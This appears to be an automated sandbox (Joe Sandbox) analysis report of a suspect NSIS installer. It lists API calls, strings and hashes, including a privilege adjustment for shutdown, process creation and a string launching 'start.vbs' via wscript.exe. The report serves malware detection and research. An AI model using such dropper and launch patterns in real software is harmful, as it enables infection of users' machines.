CopyFileW.KERNEL32(00442800,00437800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A34

Part of subcall function 00405B3A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Part of subcall function 004068B4: FindFirstFileW.KERNEL32(75923420,0042FAB8,0042F270,00405F77,0042F270,0042F270,00000000,0042F270,0042F270,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
Part of subcall function 004068B4: FindClose.KERNEL32(00000000), ref: 004068CB

ExitProcess.KERNEL32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A7D
OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A82
ExitProcess.KERNEL32 ref: 00403A9F
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AA6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AC2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AC9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403ADE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B01
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B26
ExitProcess.KERNEL32 ref: 00403B49

Part of subcall function 00405B05: CreateDirectoryW.KERNELBASE(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B

Strings

NSIS Error, xrefs: 00403695
Low, xrefs: 00403848
\Temp, xrefs: 0040382C
SeShutdownPrivilege, xrefs: 00403AD8
~nsu%X.tmp, xrefs: 004039A8
Error launching installer, xrefs: 004038FD
1033, xrefs: 00403876
TMP, xrefs: 00403862
TEMP, xrefs: 0040385A
UXTHEME, xrefs: 00403620, 00403625, 0040362B
C:\Users\user\AppData\Local\Temp\, xrefs: 0040380A, 0040380F, 00403825, 00403831, 00403840, 0040384D, 00403859, 00403861, 0040394F, 004039D0, 004039FC, 00403A1D, 00403A26

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: File$Process$Exit$CloseDirectory$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: 1033$C:\Users\user\AppData\Local\Temp\$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 2017177436-2192256947
Opcode ID: 2e41678f2876b0813857cd97e76b44bbe4b3eeb6df5acb682b8643e6af53fd03
Instruction ID: 6c1349364f4d22fadfcc29bbd5f82b0434b4f5ba6e08f6571c64e8404a3f48da
Opcode Fuzzy Hash: 2e41678f2876b0813857cd97e76b44bbe4b3eeb6df5acb682b8643e6af53fd03
Instruction Fuzzy Hash: 64F10270604301ABD320AF659D45B2B7AE8EF8570AF10483EF581B22D1DB7DDA45CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00403C29 Relevance: 40.5, APIs: 13, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040694B: GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
Part of subcall function 0040694B: GetProcAddress.KERNEL32(00000000,?), ref: 00406978

lstrcatW.KERNEL32(1033,0042CA68), ref: 00403CAA
lstrlenW.KERNEL32(004326A0,?,?,?,004326A0,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75923420), ref: 00403D2A
lstrcmpiW.KERNEL32(00432698,.exe,004326A0,?,?,?,004326A0,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D3D
GetFileAttributesW.KERNEL32(004326A0), ref: 00403D48
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403D91

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

RegisterClassW.USER32(004336A0), ref: 00403DCE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DE6
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E1B
ShowWindow.USER32(00000005,00000000), ref: 00403E51
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E7D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403E8A
RegisterClassW.USER32(004336A0), ref: 00403E93
DialogBoxParamW.USER32(?,00000000,00403FD7,00000000), ref: 00403EB2

Strings

RichEd20, xrefs: 00403E57
_Nb, xrefs: 00403DAD, 00403E15
RichEdit, xrefs: 00403E84
.exe, xrefs: 00403D37
.DEFAULT\Control Panel\International, xrefs: 00403C95
RichEdit20W, xrefs: 00403E75, 00403E7B
1033, xrefs: 00403C49, 00403CA5
Control Panel\Desktop\ResourceLocale, xrefs: 00403C5D
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2E
RichEd32, xrefs: 00403E65

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1629884446
Opcode ID: bbb1e3748a54a273649d0fbd54a0890110e87f86c4ca5900aa60a5a95311a30e
Instruction ID: b78af383561608ccb802af496d710159af2d94eef556b4765221653e5b422f1b
Opcode Fuzzy Hash: bbb1e3748a54a273649d0fbd54a0890110e87f86c4ca5900aa60a5a95311a30e
Instruction Fuzzy Hash: 9F61C270100640BED220AF66ED46F2B3A6CEB85B5AF50013FF945B62E2DB7C59418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403082 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403093
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400), ref: 004030AF

Part of subcall function 00406047: GetFileAttributesW.KERNELBASE(00000003,004030C2,00442800,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003), ref: 004030FB
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403231

Strings

Inst, xrefs: 00403167
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403258
soft, xrefs: 00403170
Error launching installer, xrefs: 004030D2
C:\Users\user\AppData\Local\Temp\, xrefs: 00403089
Null, xrefs: 00403179

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-1074897864
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 68b8bf8592918c5e7f10339d86c9767fe938295b8d0ed8def850c2c8f1d184f5
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: 8251A071A00204ABDB20AF65DD85B9E7EACEB49356F10417BF900B62D1C77C9F408BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004032B9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403323
GetTickCount.KERNEL32 ref: 004033CA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033F3
wsprintfW.USER32 ref: 00403406

Strings

A, xrefs: 00403483
C79SfvwFngvnvLee/moTFvfLwf3kxuMDRmNtsTiAGC3SGUAYBTCGUM4TKdQAXAq85gWPbBq+P5uQ/MpBUnQ3azj9hpHl5Ops+F4TQrk+F8VQjgOF9RwtgaF9S4VgLBtS6VwTB5CnKkewhgOF9QwugeFdS4WgNBdSnKgmwpkuFcVQigOFdRwsgaFdS4UgJBtS6UwRBpCnKkawiwpCpEMLcqQyBDC6U0BB9C6V0KhdB6E0JdiASCnSaXwWBNCaU0GB1CqV, xrefs: 0040333D
... %d%%, xrefs: 00403400
A, xrefs: 00403379
*B, xrefs: 004032E4

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ A$ A$... %d%%$C79SfvwFngvnvLee/moTFvfLwf3kxuMDRmNtsTiAGC3SGUAYBTCGUM4TKdQAXAq85gWPbBq+P5uQ/MpBUnQ3azj9hpHl5Ops+F4TQrk+F8VQjgOF9RwtgaF9S4VgLBtS6VwTB5CnKkewhgOF9QwugeFdS4WgNBdSnKgmwpkuFcVQigOFdRwsgaFdS4UgJBtS6UwRBpCnKkawiwpCpEMLcqQyBDC6U0BB9C6V0KhdB6E0JdiASCnSaXwWBNCaU0GB1CqV
API String ID: 551687249-3037517780
Opcode ID: b04dab49cf37ea20022f46a8b7c81c1884779548b4bab61156e959bad0df676f
Instruction ID: 982be0e2f69b4341102b9ffd21d6361bbd2cc6e706b5ad6adcc0aeecd99e7a45
Opcode Fuzzy Hash: b04dab49cf37ea20022f46a8b7c81c1884779548b4bab61156e959bad0df676f
Instruction Fuzzy Hash: 1A516F71910219EBCB11CF65DA44B9E7FB8AF04756F10827BE814BB2D1C7789A40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00406594 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(004326A0,00000400), ref: 004066B6
GetWindowsDirectoryW.KERNEL32(004326A0,00000400,00000000,0042BA48,?,?,00000000,00000000,?,759223A0), ref: 004066CC
SHGetPathFromIDListW.SHELL32(00000000,004326A0), ref: 0040672A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406733
lstrcatW.KERNEL32(004326A0,\Microsoft\Internet Explorer\Quick Launch), ref: 0040675E
lstrlenW.KERNEL32(004326A0,00000000,0042BA48,?,?,00000000,00000000,?,759223A0), ref: 004067B8

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406687
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406758

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-730719616
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc62ecdfc612bfadb4c03fc2fb2820e4449372332e166df7cb208319b666a0da
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: 7D612571A046009BD720AF24DD84B6A76E8EF95328F16053FF643B32D0DB7C9961875E

Uniqueness

Uniqueness Score: -1.00%

Function 00401774 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B5
CompareFileTime.KERNEL32(-00000014,?,"wscript.exe" "C:\Users\user\start.vbs","wscript.exe" "C:\Users\user\start.vbs",00000000,00000000,"wscript.exe" "C:\Users\user\start.vbs",00440000,?,?,00000031), ref: 004017DA

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 004055DC: lstrlenW.KERNEL32(0042BA48,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,0042BA48,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Strings

C:\Users\user, xrefs: 0040183A, 00401856
"wscript.exe" "C:\Users\user\start.vbs", xrefs: 00401792, 0040179B, 004017A8, 004017BA, 004017C6, 004017FC, 00401812, 00401830, 0040186C, 004018ED, 004018F6, 00401900, 0040190B

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "wscript.exe" "C:\Users\user\start.vbs"$C:\Users\user
API String ID: 1941528284-3833454141
Opcode ID: 5d94e8e5950a8b2ff13ebbfcdf8ec3f64fd71dec5ee91277c9a67e4679359a3d
Instruction ID: f3bec3fd9c2ad120a03a9c06557e7274b723a0da437845685234e4033458a62e
Opcode Fuzzy Hash: 5d94e8e5950a8b2ff13ebbfcdf8ec3f64fd71dec5ee91277c9a67e4679359a3d
Instruction Fuzzy Hash: 0B419471800108BACB11BFA5DD85DBE76B9EF45328B21423FF412B10E2DB3C8A519A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004068DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
wsprintfW.USER32 ref: 0040692D
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406941

Strings

%s%S.dll, xrefs: 00406927
UXTHEME, xrefs: 004068E4

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: a217f45d9ff01499786c61cea798a126a457230594f844882b590dd92c6ddc53
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 69F0F671501219A6CF14BB68DD0DF9B376CAB40304F21447AA646F20E0EB789B69CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406076 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406094
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403530,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C), ref: 004060AF

Strings

nsa, xrefs: 00406083
C:\Users\user\AppData\Local\Temp\, xrefs: 0040607B

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-44229769
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 86e06e500a6970b3bc5bd370241205c1b86a0a172d82c816bfbfc8c597d973d5
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: 65F09076B50204FBEB10CF69ED05F9EB7ACEB95750F11803AED05F7240E6B099548768

Uniqueness

Uniqueness Score: -1.00%

Function 004015C6 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405ED1: CharNextW.USER32(?,?,0042F270,?,00405F45,0042F270,0042F270,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161F

Part of subcall function 00405AAB: CreateDirectoryW.KERNEL32(00437800,?), ref: 00405AED

SetCurrentDirectoryW.KERNELBASE(?,00440000,?,00000000,000000F0), ref: 00401652

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 17db5344e59f9fcfaa0a8c6f5cb64453528f6d3e60a55d917771fd137aa83741
Instruction ID: 6fd3d265dcb44280b24f8e6f21651466162e19908bb00ba525d5af3adea1cd3c
Opcode Fuzzy Hash: 17db5344e59f9fcfaa0a8c6f5cb64453528f6d3e60a55d917771fd137aa83741
Instruction Fuzzy Hash: F211E231404104ABCF206FA5CD0159F36B0EF04368B25493FE945B22F1DA3D4A81DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00405B3A Relevance: 3.0, APIs: 2, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction ID: b1032d8704f3223f2a9afbe03a7757fefc60a77e8ecf1711bb84520e71ece662
